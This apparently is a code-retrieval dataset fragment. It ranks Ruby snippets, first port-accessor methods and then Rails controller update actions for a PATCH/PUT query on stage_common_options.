"docid": "5476cfd68196dd9e743c1c8c6853f5cc",
"score": "0.67264855",
"text": "def default_port; end",
"title": ""
},
{
"docid": "5476cfd68196dd9e743c1c8c6853f5cc",
"score": "0.67264855",
"text": "def default_port; end",
"title": ""
},
{
"docid": "5476cfd68196dd9e743c1c8c6853f5cc",
"score": "0.67264855",
"text": "def default_port; end",
"title": ""
},
{
"docid": "5476cfd68196dd9e743c1c8c6853f5cc",
"score": "0.67264855",
"text": "def default_port; end",
"title": ""
},
{
"docid": "f8af26b2a12515b2f5ab524177d1eb68",
"score": "0.6572342",
"text": "def port\n connection_data.fetch(:port, DEFAULT_PORT)\n end",
"title": ""
},
{
"docid": "2707292cb7df7b7cbb3997415b1a6288",
"score": "0.65295994",
"text": "def port\n @options['port'] ||= secure? ? 6697 : 6667\n end",
"title": ""
},
{
"docid": "0f005b9d27f38ad07069140978f8f39a",
"score": "0.64796346",
"text": "def port\n @port ||= default_port\n end",
"title": ""
},
{
"docid": "ccb9bc8d2f5f81c2d4a4775fadcdc0c6",
"score": "0.6451906",
"text": "def port\n settings[:port] || PROTOCOLS[settings[:protocol]]\n end",
"title": ""
},
{
"docid": "3c5048ba2714f650a815840e3511468b",
"score": "0.63277245",
"text": "def port\n @port || 7979\n end",
"title": ""
},
{
"docid": "dfe0c56abd5f1020d4100eadc43d5e9f",
"score": "0.6315189",
"text": "def port; @options[:port] ||= secure? ? 6697 : 6667 end",
"title": ""
},
{
"docid": "37b9678b275ffa915d5617363b49ba90",
"score": "0.6307233",
"text": "def assign_default_port\n if winrm?\n config[:winrm_ssl] ? 5986 : 5985\n else\n 22\n end\n end",
"title": ""
},
{
"docid": "977536f7d4e4e0a1f9a3b46b509d3a6c",
"score": "0.6286621",
"text": "def port\n options.fetch(:port, \"9998\").to_s\n end",
"title": ""
},
{
"docid": "05604e6fd4afed119492b292ba597f83",
"score": "0.6280668",
"text": "def port\n @port ||= options.fetch(:port, random_open_port).to_s\n end",
"title": ""
},
{
"docid": "0f99bec93d424ca55589bcdf934d20e2",
"score": "0.62482965",
"text": "def port\n properties[\"server-port\"] || 25565\n end",
"title": ""
},
{
"docid": "3ea0a0dd0d6365a10c1936b0bdcfb322",
"score": "0.6227512",
"text": "def port\n @port ||= if raw_host_with_port =~ /:(\\d+)$/\n $1.to_i\n else\n standard_port\n end\n end",
"title": ""
},
{
"docid": "9b8a3195dc6f2d8d51846f825894fb72",
"score": "0.6227122",
"text": "def standard_port; end",
"title": ""
},
{
"docid": "92ca7f2b5bfd66293d50dce6bd2f9c2c",
"score": "0.62238246",
"text": "def ip_port\r\n 6667\r\n end",
"title": ""
},
{
"docid": "8a026b51c31edcc551e0b778d60a8e71",
"score": "0.62208164",
"text": "def port\n @port || 22\n end",
"title": ""
},
{
"docid": "beb2e53e61b90a394f0e16a32fc1a916",
"score": "0.6219",
"text": "def port\n options[:port] || 22\n end",
"title": ""
},
{
"docid": "9058dff691758087083b217ede4bf0b6",
"score": "0.6201398",
"text": "def port\n return @port if @port\n self.port = 6088\n self.port\n end",
"title": ""
},
{
"docid": "00d3b8568e1645885d24921aed42692f",
"score": "0.6187894",
"text": "def initialize\n @port = 389\n end",
"title": ""
},
{
"docid": "c15c2622056979b7716620a62d9b2508",
"score": "0.6185581",
"text": "def port\n @uri.port || @uri.default_port\n end",
"title": ""
},
{
"docid": "e1bffa210d8df79a519b3e7c3f99dc1d",
"score": "0.6172948",
"text": "def port ; options[:port] || config.port ; end",
"title": ""
},
{
"docid": "df2b42be2d69f64c493bf2bfec328e71",
"score": "0.6159593",
"text": "def port\n @options[:port]\n end",
"title": ""
},
{
"docid": "39911604fcc8208fe2eed0db1f9eb92b",
"score": "0.6141598",
"text": "def optional_port; end",
"title": ""
},
{
"docid": "47da5f4ff3e516d43c952536e6d9422c",
"score": "0.6119437",
"text": "def puppet_port\n get_option(\"puppet.port\", \"8140\")\n end",
"title": ""
},
{
"docid": "e071ba7e1bae38148928331bc84136a6",
"score": "0.6093184",
"text": "def port\n @options[:port]\n end",
"title": ""
},
{
"docid": "35485dd371ef8e7005ac9698bbe96313",
"score": "0.6091851",
"text": "def port\n @port ||= @server_options.fetch('port', nil) || self.class.find_unused_port\n end",
"title": ""
},
{
"docid": "cddf5ffcfb54d2b5421f7eea99eaf904",
"score": "0.6087078",
"text": "def standard_port\n case protocol\n when 'https://' then 443\n else 80\n end\n end",
"title": ""
},
{
"docid": "e0553e61253147c7cecb0db9c50e9331",
"score": "0.60817856",
"text": "def port\n super || default_port\n end",
"title": ""
},
{
"docid": "0bfad60a2c2fd2f196e68c9d8693b6c9",
"score": "0.6071649",
"text": "def standard_port\n case protocol\n when 'https://' then 443\n else 80\n end\n end",
"title": ""
},
{
"docid": "0bfad60a2c2fd2f196e68c9d8693b6c9",
"score": "0.6071649",
"text": "def standard_port\n case protocol\n when 'https://' then 443\n else 80\n end\n end",
"title": ""
},
{
"docid": "8c1f87f0a2a658bf2361c7c7f4a5274f",
"score": "0.6038613",
"text": "def port; self[:port] end",
"title": ""
},
{
"docid": "f1f41f3e8a42865b530514da7e800221",
"score": "0.60157925",
"text": "def server_port; end",
"title": ""
},
{
"docid": "f580feb97398445f694a55b28d668f66",
"score": "0.60120976",
"text": "def default_imaps_port; end",
"title": ""
},
{
"docid": "f580feb97398445f694a55b28d668f66",
"score": "0.60120976",
"text": "def default_imaps_port; end",
"title": ""
},
{
"docid": "0dedcaf1a6f0c2039e5799e9234cf3cb",
"score": "0.60061383",
"text": "def port\n '6600'\n end",
"title": ""
},
{
"docid": "d902f091ca3c390f09645aef2ccbf3ed",
"score": "0.5990514",
"text": "def port\n \tif @config_map.has_key?(\"Listen\")\n \t @config_map[\"Listen\"].each { |k,v| return \"#{v}\".to_i}\n \tend\n end",
"title": ""
},
{
"docid": "fabb9c147f7edd5e3b9e14b10f53c1e0",
"score": "0.5989295",
"text": "def port\n @port ||= parsed_uri.port || parsed_opt(\"port\").to_i.nonzero?\n end",
"title": ""
},
{
"docid": "9b572f6a71f4f55f907de8091bbdab75",
"score": "0.59799147",
"text": "def port; uri.port; end",
"title": ""
},
{
"docid": "530c2364d235d26f8b9b79754c01cf0a",
"score": "0.59684134",
"text": "def port; end",
"title": ""
},
{
"docid": "530c2364d235d26f8b9b79754c01cf0a",
"score": "0.59684134",
"text": "def port; end",
"title": ""
},
{
"docid": "530c2364d235d26f8b9b79754c01cf0a",
"score": "0.59684134",
"text": "def port; end",
"title": ""
},
{
"docid": "530c2364d235d26f8b9b79754c01cf0a",
"score": "0.59684134",
"text": "def port; end",
"title": ""
},
{
"docid": "530c2364d235d26f8b9b79754c01cf0a",
"score": "0.59684134",
"text": "def port; end",
"title": ""
},
{
"docid": "530c2364d235d26f8b9b79754c01cf0a",
"score": "0.59684134",
"text": "def port; end",
"title": ""
},
{
"docid": "530c2364d235d26f8b9b79754c01cf0a",
"score": "0.59684134",
"text": "def port; end",
"title": ""
},
{
"docid": "530c2364d235d26f8b9b79754c01cf0a",
"score": "0.59684134",
"text": "def port; end",
"title": ""
},
{
"docid": "530c2364d235d26f8b9b79754c01cf0a",
"score": "0.59684134",
"text": "def port; end",
"title": ""
},
{
"docid": "530c2364d235d26f8b9b79754c01cf0a",
"score": "0.59684134",
"text": "def port; end",
"title": ""
},
{
"docid": "f15a33a455d20148b0ce828b6626f327",
"score": "0.59646165",
"text": "def actual_port; end",
"title": ""
},
{
"docid": "f15a33a455d20148b0ce828b6626f327",
"score": "0.59646165",
"text": "def actual_port; end",
"title": ""
},
{
"docid": "f15a33a455d20148b0ce828b6626f327",
"score": "0.59646165",
"text": "def actual_port; end",
"title": ""
},
{
"docid": "593a45c8ae96ea55d3cb3900d762134c",
"score": "0.5962315",
"text": "def port\n (@port || @headers['host'].to_s.split(':')[1] || default_port).to_i\n end",
"title": ""
},
{
"docid": "67aca6f89e99e3c48de9ee805e4beee1",
"score": "0.59518313",
"text": "def port\n if raw_host_with_port =~ /:(\\d+)$/\n $1.to_i\n else\n standard_port\n end\n end",
"title": ""
},
{
"docid": "43d06707c564a6ffab3886612c3b40b3",
"score": "0.594835",
"text": "def port\n @port ||= @options.fetch('port', nil) || CelluloidPubsub::WebServer.find_unused_port\n end",
"title": ""
},
{
"docid": "157224f92d5ff6ed99b19671a76219c0",
"score": "0.5947527",
"text": "def port_string\n standard_port? ? \"\" : \":#{port}\"\n end",
"title": ""
},
{
"docid": "90583c5ab2c4a663380f0ab4a280b0d6",
"score": "0.59344447",
"text": "def port\n @uri.port || (ssl? ? 443 : 80)\n end",
"title": ""
},
{
"docid": "08c0b730eecdac55a8fe204929191939",
"score": "0.5924202",
"text": "def server_port\n @@server_port\n end",
"title": ""
},
{
"docid": "eea76bc9d947490524a1caabf0e68db1",
"score": "0.5918894",
"text": "def default_ssl_port; end",
"title": ""
},
{
"docid": "eea76bc9d947490524a1caabf0e68db1",
"score": "0.5918894",
"text": "def default_ssl_port; end",
"title": ""
},
{
"docid": "a9a89a929734783e11312118e28d2269",
"score": "0.5918453",
"text": "def port\n if raw_host_with_port =~ /:(\\d+)$/\n $1.to_i\n else\n standard_port\n end\n end",
"title": ""
},
{
"docid": "a9a89a929734783e11312118e28d2269",
"score": "0.5918453",
"text": "def port\n if raw_host_with_port =~ /:(\\d+)$/\n $1.to_i\n else\n standard_port\n end\n end",
"title": ""
},
{
"docid": "3d459942b2fc81e618b4c678128b61e4",
"score": "0.59140795",
"text": "def client_port; end",
"title": ""
},
{
"docid": "f4ff1d3694c2e2a6c978a9b8036773c5",
"score": "0.5903658",
"text": "def udp_port\n @udp_port || 8125\n end",
"title": ""
},
{
"docid": "f4ff1d3694c2e2a6c978a9b8036773c5",
"score": "0.5903658",
"text": "def udp_port\n @udp_port || 8125\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901347",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901347",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901248",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901248",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901248",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901248",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901248",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901248",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901248",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901248",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901248",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901248",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901248",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901248",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901248",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "d56274c48b9a9d24bb2fc8c692a92c91",
"score": "0.5901248",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "4cafa6ee7e8358cc2e6a3699156c84b9",
"score": "0.58923876",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "4cafa6ee7e8358cc2e6a3699156c84b9",
"score": "0.58923876",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "4cafa6ee7e8358cc2e6a3699156c84b9",
"score": "0.58923876",
"text": "def port\n @port\n end",
"title": ""
},
{
"docid": "73024afa4e5fd7ed9916b24523dcfc5e",
"score": "0.5872024",
"text": "def port\n @port = @hash.fetch(\"Listen\")\n return @port.to_i\n end",
"title": ""
},
{
"docid": "a8dd97b68935ced587c73677369eaf97",
"score": "0.5867188",
"text": "def port\n configure\n locations[self][:port] || DEFAULT_LOCATION[:port]\n end",
"title": ""
},
{
"docid": "d232d8fa3a9bccbed6c1dddbda8cc8a8",
"score": "0.5866926",
"text": "def port\n @port ||= static_config.port\n @port ||= random_open_port.to_s\n end",
"title": ""
},
{
"docid": "d232d8fa3a9bccbed6c1dddbda8cc8a8",
"score": "0.5866926",
"text": "def port\n @port ||= static_config.port\n @port ||= random_open_port.to_s\n end",
"title": ""
},
{
"docid": "e8fd5504c68ee40da7454cf3c5a2614d",
"score": "0.5863246",
"text": "def port\n uri.port\n end",
"title": ""
},
{
"docid": "fdcd9785fe7d802bcd3865e376598c60",
"score": "0.58616227",
"text": "def default_port\n secure ? 443 : 80\n end",
"title": ""
},
{
"docid": "807f2bdf9431aa0bae3e9d0c3c9b9c57",
"score": "0.58574766",
"text": "def optional_port\n standard_port? ? nil : port\n end",
"title": ""
},
{
"docid": "1ee27f2d68445e07f8b7a94458ecc04a",
"score": "0.58572197",
"text": "def port\n socket.port\n end",
"title": ""
}
] |
39b03f448f31d7301f46c7a153f720bc | PATCH/PUT /stage_common_options/1 PATCH/PUT /stage_common_options/1.json | [
{
"docid": "097b232724278791b3f0b83412eb37bb",
"score": "0.75841135",
"text": "def update\n respond_to do |format|\n if @stage_common_option.update(stage_common_option_params)\n format.html { redirect_to @stage_common_option, notice: 'Stage common option was successfully updated.' }\n format.json { render :show, status: :ok, location: @stage_common_option }\n else\n format.html { render :edit }\n format.json { render json: @stage_common_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "fe6291869788255c94517647653e5616",
"score": "0.6569395",
"text": "def set_stage_common_option\n @stage_common_option = StageCommonOption.find(params[:id])\n end",
"title": ""
},
{
"docid": "6f077a2edb49e8f5aae10d4dbc311f30",
"score": "0.6294511",
"text": "def update\n respond_to do |format|\n format.json do \n if @option.update(option_params)\n render json: @option\n else\n render json: { :errors => @option.errors.messages }, status: :unprocessable_entity\n end\n end\n end\n end",
"title": ""
},
{
"docid": "42e4d81ce0f91ce996dcbc347df2958d",
"score": "0.6252919",
"text": "def update\n @response = self.class.put(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\", :body => \"{'resource_form_name':#{JSON.generate(@opts)}}\")\n end",
"title": ""
},
{
"docid": "b358c4f336730a79d7c9a0d33423968b",
"score": "0.6142117",
"text": "def update\n @option = Option.find(params[:id])\n\n if @option.update(option_params)\n head :no_content\n else\n render json: @option.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "2d6a5af124c787f34112d0782357bb11",
"score": "0.61177844",
"text": "def update\n @option = Option.find(params[:id])\n \n value = {'entry_types' => params[:entry_types], 'fields' => []}\n if params[:field].present?\n params[:field].each do |k, v|\n value['fields'] << v if v['name'].present?\n end\n end \n @option.value = YAML.dump(value)\n\n respond_to do |format|\n if @option.update_attributes(params[:option])\n format.html { redirect_to edit_admin_option_path(@option), notice: 'Option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to :action => 'edit', alert: 'Updating option was failed.' }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "56d55c839deef0660886b589d5cbb454",
"score": "0.61111087",
"text": "def update\n respond_to do |format|\n if @os_option.update(os_option_params)\n format.html { redirect_to @os_option, notice: 'Os option was successfully updated.' }\n format.json { render :show, status: :ok, location: @os_option }\n else\n format.html { render :edit }\n format.json { render json: @os_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "78527834bc839a8c22ff0ff093713b99",
"score": "0.6093889",
"text": "def update\n @options = Option.find(params[:id])\n respond_to do |format|\n if @options.update_attributes(options_params)\n format.html { redirect_to root_path, notice: 'Options were successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @options.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5f797350310156ac3d75156c55b6c78f",
"score": "0.60644656",
"text": "def update\n @option = @asset.options.find(params[:id])\n\n respond_to do |format|\n if @option.update_attributes(params[:option])\n format.html { redirect_to [@asset, @option], notice: 'Option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "567cf47aa7a9d2d7f54c0b8b0af47544",
"score": "0.5994553",
"text": "def update(options={})\n Utils.filter_keys(options, allowed_keys)\n Utils.filter_keys(options[:advanced_options], advanced_options_keys)\n created = Client.post endpoint('update'),\n body: options.to_json,\n headers: { 'content-type': 'application/json' }\n created[0] # the API returns a list of length 1\n end",
"title": ""
},
{
"docid": "fb4233bbfaa7c2e219acdffc3f27e263",
"score": "0.59820646",
"text": "def update\n respond_to do |format|\n if @opportunity_stage.update(opportunity_stage_params)\n format.html { redirect_to admin_opportunity_stage_path(@opportunity_stage), notice: 'Opportunity stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @opportunity_stage }\n else\n format.html { render :edit }\n format.json { render json: @opportunity_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fd545982a9de2061f5828260065c3ba7",
"score": "0.5946135",
"text": "def stage_common_option_params\n params.require(:stage_common_option).permit(:group_id, :own_equipment, :bgm, :camera_permittion, :loud_sound, :stage_content)\n end",
"title": ""
},
{
"docid": "5b2c03b1cb13f1cfa24c0036e8af90c7",
"score": "0.59040123",
"text": "def update\n respond_to do |format|\n if @opt.update(opt_params)\n format.html { redirect_to @opt, notice: 'Opt was successfully updated.' }\n format.json { render :show, status: :ok, location: @opt }\n else\n format.html { render :edit }\n format.json { render json: @opt.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "74a40e3e44c610b02a21d4e51c2eb7ce",
"score": "0.59028566",
"text": "def update\n respond_to do |format|\n if @sub_option.update(sub_option_params)\n format.html { redirect_to home_admin_path, notice: 'Sub option was successfully updated.' }\n format.json { render :show, status: :ok, location: @sub_option }\n else\n format.html { render :edit }\n format.json { render json: @sub_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5b57c09afb7466afb991a7f0d7e69590",
"score": "0.5902737",
"text": "def update\n respond_to do |format|\n if @good_option.update(good_option_params)\n format.html { redirect_to edit_admin_good_url(@good, anchor: \"options\"), notice: 'Good option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @good_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2474dd6dbb9b234395d34377003db14f",
"score": "0.5887647",
"text": "def update\n respond_to do |format|\n if @option.update(option_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4c29edbecef77ccfed62de3fb507cdc",
"score": "0.5886008",
"text": "def update *_\n @option = users_options.find(params[:id])\n\n if @option.update_attributes(params[:option])\n render json: @option\n else\n render json: @option.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "da85e1d51934a2c78e486795f186a754",
"score": "0.5861639",
"text": "def create\n @stage_common_option = StageCommonOption.new(stage_common_option_params)\n\n respond_to do |format|\n if @stage_common_option.save\n format.html { redirect_to @stage_common_option, notice: 'Stage common option was successfully created.' }\n format.json { render :show, status: :created, location: @stage_common_option }\n else\n format.html { render :new }\n format.json { render json: @stage_common_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2099ad71205c23a317a707cbc1062678",
"score": "0.5828747",
"text": "def update\n @standard_poll_option = StandardPollOption.find(params[:id])\n\n respond_to do |format|\n if @standard_poll_option.update_attributes(params[:standard_poll_option])\n format.html { redirect_to @standard_poll_option, notice: 'Standard poll option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @standard_poll_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f8c9ac427903974396b1d0d1fc6df02d",
"score": "0.57873774",
"text": "def update\n @option = Option.find(params[:id])\n @parent = Option.find(@option.option_id)\n\n respond_to do |format|\n if @option.update_attributes(params[:option])\n format.html { redirect_to @parent, notice: 'Option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "03cf3a71d2494ee4ae31f2266b92a657",
"score": "0.5782055",
"text": "def update\n respond_to do |format|\n if @opt10059_one_one.update(opt10059_one_one_params)\n format.html { redirect_to @opt10059_one_one, notice: 'Opt10059 one one was successfully updated.' }\n format.json { render :show, status: :ok, location: @opt10059_one_one }\n else\n format.html { render :edit }\n format.json { render json: @opt10059_one_one.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "89b807f89450b70562354a5c3ce3d3c9",
"score": "0.57535577",
"text": "def update\n respond_to do |format|\n if @opt10001.update(opt10001_params)\n format.html { redirect_to @opt10001, notice: 'Opt10001 was successfully updated.' }\n format.json { render :show, status: :ok, location: @opt10001 }\n else\n format.html { render :edit }\n format.json { render json: @opt10001.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bed970b5a56a7878648934d59f94b5c4",
"score": "0.57416487",
"text": "def update\n respond_to do |format|\n if @option.update(option_params)\n format.html { redirect_to @option, notice: 'Option was successfully updated.' }\n format.json { render :show, status: :ok, location: @option }\n else\n format.html { render :edit }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bed970b5a56a7878648934d59f94b5c4",
"score": "0.57416487",
"text": "def update\n respond_to do |format|\n if @option.update(option_params)\n format.html { redirect_to @option, notice: 'Option was successfully updated.' }\n format.json { render :show, status: :ok, location: @option }\n else\n format.html { render :edit }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c76f4c5d074cbc27a1f9b9c1f13913bf",
"score": "0.573891",
"text": "def update\n respond_to do |format|\n if @multi_option.update(multi_option_params)\n format.html { redirect_to @multi_option, notice: 'Multi option was successfully updated.' }\n format.json { render :show, status: :ok, location: @multi_option }\n else\n format.html { render :edit }\n format.json { render json: @multi_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7d220db0f9752625a49947a44862d57a",
"score": "0.57357764",
"text": "def update\n respond_to do |format|\n if @opt10014.update(opt10014_params)\n format.html { redirect_to @opt10014, notice: 'Opt10014 was successfully updated.' }\n format.json { render :show, status: :ok, location: @opt10014 }\n else\n format.html { render :edit }\n format.json { render json: @opt10014.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6f5bae844a53b3f47a9911c37e0d71e1",
"score": "0.57304734",
"text": "def update\n respond_to do |format|\n if @stage_sub_stage.update(stage_sub_stage_params)\n format.html { redirect_to @stage_sub_stage, notice: 'Sub stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @stage_sub_stage }\n else\n format.html { render :edit }\n format.json { render json: @stage_sub_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "657719eb565fea529d46892343f64283",
"score": "0.5725757",
"text": "def update_opts\n {}\n end",
"title": ""
},
{
"docid": "9c7bfed0b8805cbb1cc32a3dc2f2dab1",
"score": "0.57229894",
"text": "def update\n @standard_poll_option_set = StandardPollOptionSet.find(params[:id])\n\n respond_to do |format|\n if @standard_poll_option_set.update_attributes(params[:standard_poll_option_set])\n format.html { redirect_to admin_standard_poll_option_set_path(@standard_poll_option_set), notice: 'Standard poll option set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @standard_poll_option_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a8480bff819e58f2776bb8e795a5a27f",
"score": "0.56982017",
"text": "def update\n @opt = Opt.find(params[:id])\n\n respond_to do |format|\n if @opt.update_attributes(params[:opt])\n format.html { redirect_to @opt, notice: 'Opt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @opt.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b812639d68bc162f7486abf22a3cab31",
"score": "0.5677579",
"text": "def update\n respond_to do |format|\n if @opt10015.update(opt10015_params)\n format.html { redirect_to @opt10015, notice: 'Opt10015 was successfully updated.' }\n format.json { render :show, status: :ok, location: @opt10015 }\n else\n format.html { render :edit }\n format.json { render json: @opt10015.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "540cb7a08962e5212989b1d0d18f3b68",
"score": "0.56728166",
"text": "def update\n respond_to do |format|\n if @option_value.update(option_value_params)\n format.html { redirect_to @option_value, notice: 'Option value was successfully updated.' }\n format.json { render :show, status: :ok, location: @option_value }\n else\n format.html { render :edit }\n format.json { render json: @option_value.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "01255c93fdaefe660193a5f41dc777c4",
"score": "0.5651695",
"text": "def replace_with_http_info(object_type, pipeline_id, stage_id, pipeline_stage_input, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PipelineStagesApi.replace ...'\n end\n # verify the required parameter 'object_type' is set\n if @api_client.config.client_side_validation && object_type.nil?\n fail ArgumentError, \"Missing the required parameter 'object_type' when calling PipelineStagesApi.replace\"\n end\n # verify the required parameter 'pipeline_id' is set\n if @api_client.config.client_side_validation && pipeline_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pipeline_id' when calling PipelineStagesApi.replace\"\n end\n # verify the required parameter 'stage_id' is set\n if @api_client.config.client_side_validation && stage_id.nil?\n fail ArgumentError, \"Missing the required parameter 'stage_id' when calling PipelineStagesApi.replace\"\n end\n # verify the required parameter 'pipeline_stage_input' is set\n if @api_client.config.client_side_validation && pipeline_stage_input.nil?\n fail ArgumentError, \"Missing the required parameter 'pipeline_stage_input' when calling PipelineStagesApi.replace\"\n end\n # resource path\n local_var_path = '/crm/v3/pipelines/{objectType}/{pipelineId}/stages/{stageId}'.sub('{' + 'objectType' + '}', CGI.escape(object_type.to_s)).sub('{' + 'pipelineId' + '}', CGI.escape(pipeline_id.to_s)).sub('{' + 'stageId' + '}', CGI.escape(stage_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', '*/*'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(pipeline_stage_input)\n\n # return_type\n return_type = opts[:debug_return_type] || 'PipelineStage'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['oauth2']\n\n new_options = opts.merge(\n :operation => :\"PipelineStagesApi.replace\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PipelineStagesApi#replace\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "3baaa9006b0a94eeaaa82414a85af281",
"score": "0.56372327",
"text": "def update\n respond_to do |format|\n if @stage.update(stage_params)\n format.html { redirect_to base_stages_url, notice: 'Stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @stage }\n else\n @stages = BaseStage.all.map{ |c| c = (c.id == @stage.id)? @stage:c}\n @stage = BaseStage.new\n format.html { render :index }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "72dd85e44606589061b9505ca0b6d3ea",
"score": "0.5607514",
"text": "def update\n respond_to do |format|\n if @project_stage_sub_stage.update(project_stage_sub_stage_params)\n format.html { redirect_to @project_stage_sub_stage, notice: 'Sub stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_stage_sub_stage }\n else\n format.html { render :edit }\n format.json { render json: @project_stage_sub_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3ba1cf354c328a4bc7f3925caa280bff",
"score": "0.55855155",
"text": "def update\n respond_to do |format|\n if @stage.update(stage_params)\n format.html { redirect_to @stage, notice: 'Stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @stage }\n else\n format.html { render :edit }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3ba1cf354c328a4bc7f3925caa280bff",
"score": "0.55855155",
"text": "def update\n respond_to do |format|\n if @stage.update(stage_params)\n format.html { redirect_to @stage, notice: 'Stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @stage }\n else\n format.html { render :edit }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
